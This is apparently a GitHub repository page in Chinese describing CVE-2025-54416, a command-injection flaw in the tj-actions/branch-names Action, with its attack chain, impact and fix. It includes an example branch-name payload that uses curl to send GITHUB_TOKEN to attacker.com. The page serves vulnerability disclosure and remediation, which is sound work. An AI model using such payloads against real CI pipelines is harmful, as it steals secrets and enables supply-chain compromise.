HexborneStudio/atlas-tj-actions-poc

GitHub: HexborneStudio/atlas-tj-actions-poc

该仓库演示了 CVE-2025-54416 漏洞的利用过程,聚焦 tj-actions/branch-names 的命令注入问题。

Stars: 0 | Forks: 0

# CVE-2025-54416: tj-actions/branch-names 命令注入 PoC 本仓库演示了 **CVE-2025-54416**,这是一个在 `tj-actions/branch-names` 中的关键命令注入漏洞,影响超过 5,000 个公共仓库。 ## 漏洞 `tj-actions/branch-names` GitHub Action(版本 <= 8.2.1)使用了不安全的 `eval printf "%s"`,这在适当清理后重新引入了命令注入风险。 ``` # Vulnerable code pattern in tj-actions/branch-names: echo "base_ref_branch=$(eval printf "%s" "$BASE_REF")" >> "$GITHUB_OUTPUT" ``` ## 攻击链 1. 攻击者创建一个包含 shell 命令的恶意分支名称 2. 受害者的工作流使用 `tj-actions/branch-names@v8.2.1` 提取分支名称 3. 提取的分支名称(包含攻击者载荷)被用于后续 shell 命令 4. **命令在 CI 运行器上下文中以运行器权限执行** 5. 机密信息(AWS 密钥、GITHUB_TOKEN 等)被泄露 ## 示例载荷 分支名称:`main$(curl https://attacker.com/exfil?secret=$GITHUB_TOKEN)` 当工作流运行时: ``` echo "IMAGE_TAG=${{ steps.branch-name.outputs.current_branch }}" # Actual output: IMAGE_TAG=main$(curl https://attacker.com/exfil?secret=$GITHUB_TOKEN) # The $(...) is evaluated by the shell, exfiltrating GITHUB_TOKEN ``` ## 影响 - 敏感机密信息被盗(AWS 密钥、API 令牌、GITHUB_TOKEN) - 未经授权的代码修改 - 将恶意镜像推送到生产注册表 - 通过受损的 CI/CD 进行供应链攻击 ## 修复 更新到 `tj-actions/branch-names@v9` 或更高版本,其中使用安全的 `printf` 调用替换了 `eval printf "%s"`。 ## 参考 - [GitHub Advisory GHSA-gq52-6phf-x2r6](https://github.com/advisories/GHSA-gq52-6phf-x2r6) - [CVE-2025-54416](https://nvd.nist.gov/vuln/detail/CVE-2025-54416)
标签:AWS keys, branch-names, Cutter, CVE, eval, GitHub Actions, GITHUB_TOKEN, PoC, printf, tj-actions, v9, 修复, 分支名称, 命令执行, 命令注入, 安全漏洞, 攻击链, 数字签名, 暴力破解, 注入漏洞, 漏洞披露, 版本升级, 秘密窃取, 自动笔记